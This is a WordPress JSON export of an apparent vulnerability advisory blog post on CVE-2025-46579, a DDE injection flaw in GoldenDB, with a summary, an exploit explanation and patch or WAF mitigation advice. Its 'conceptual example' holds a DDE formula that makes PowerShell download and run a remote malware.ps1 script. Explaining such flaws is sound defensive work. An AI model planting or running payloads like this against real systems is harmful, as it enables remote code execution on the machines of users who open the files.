{"id":34258,"date":"2025-05-02T23:48:36","date_gmt":"2025-05-02T23:48:36","guid":{"rendered":""},"modified":"2025-05-09T18:40:02","modified_gmt":"2025-05-09T18:40:02","slug":"cve-2025-46579-dde-injection-vulnerability-in-goldendb-database-product","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-46579-dde-injection-vulnerability-in-goldendb-database-product\/","title":{"rendered":"<strong>CVE-2025-46579: DDE Injection Vulnerability in GoldenDB Database Product<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The world of cybersecurity is constantly evolving, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-46579 vulnerability. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32825-critical-sql-injection-vulnerability-in-telecontrol-server-basic\/\"  data-wpil-monitor-id=\"38780\">critical vulnerability<\/a> primarily affects the GoldenDB database product and exposes systems to potential compromise and data leakage.<br \/>\nThe danger of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32824-critical-sql-injection-vulnerability-in-telecontrol-server-basic\/\"  data-wpil-monitor-id=\"38784\">vulnerability<\/a> lies in the fact that it allows attackers to inject Dynamic Data Exchange (DDE) expressions via the interface. When users download and open affected files, these DDE <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28039-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t\/\"  data-wpil-monitor-id=\"39518\">commands can be executed<\/a>, potentially leading to severe consequences. Given the severity of this issue, it warrants immediate attention and action from <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32953-security-vulnerability-in-z80pack-emulator-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"40427\">security teams and system<\/a> administrators.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-46579<br \/>\nSeverity: High (8.4 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32857-sql-injection-vulnerability-in-telecontrol-server-basic-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"39744\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2134584067\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>GoldenDB | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43865-critical-spoofing-vulnerability-in-react-router-prior-to-version-7-5-2\/\"  data-wpil-monitor-id=\"41480\">versions prior<\/a> to the patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43971-critical-vulnerability-in-gobgp-paving-the-way-for-system-compromise\/\"  data-wpil-monitor-id=\"40125\">vulnerability resides in the way<\/a> GoldenDB handles DDE expressions. <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3200-unauthenticated-remote-attacker-exploiting-insecure-tls-protocols\/\"  data-wpil-monitor-id=\"40798\">Attackers can exploit<\/a> this flaw by inserting malicious DDE expressions through the interface. When a user downloads and opens an affected file, the DDE <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28038-critical-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t\/\"  data-wpil-monitor-id=\"39662\">commands are executed<\/a>. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28037-pre-auth-remote-command-execution-vulnerability-in-totolink-products\/\"  data-wpil-monitor-id=\"39829\">execution of these commands<\/a> can lead to unauthorized system access, data manipulation, or even system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3451464476\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of how the vulnerability might be exploited is shown below:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/GoldenDB\/InjectionPoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;DDE_expression&quot;: &quot;=CMD|&#039;\/C Powershell IEX(wget target.example.com\/malware.ps1)&#039;!A0&quot; }<\/code><\/pre>\n<p>In this example, the DDE expression is a CMD command that invokes Powershell to download and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45428-remote-arbitrary-code-execution-vulnerability-in-tenda-ac9-v1-0-firmware\/\"  data-wpil-monitor-id=\"40052\">execute a malicious script from a remote<\/a> server. This is a simple illustration and real-world exploits may be more complex.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective mitigation for CVE-2025-46579 is to apply the patch provided by the vendor. This will prevent the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28035-pre-auth-remote-command-execution-vulnerability-in-totolink-a830r\/\"  data-wpil-monitor-id=\"40102\">execution of DDE commands<\/a> through the GoldenDB interface. If the patch cannot be applied immediately, a temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can monitor and block suspicious traffic, providing a level of protection until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The world of cybersecurity is constantly evolving, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-46579 vulnerability. This critical vulnerability primarily affects the GoldenDB database product and exposes systems to potential compromise and data leakage. The danger of this vulnerability lies in the fact that it allows attackers to inject [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-34258","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/34258","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=34258"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/34258\/revisions"}],"predecessor-version":[{"id":36774,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/34258\/revisions\/36774"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=34258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=34258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=34258"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=34258"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=34258"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=34258"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=34258"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=34258"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=34258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}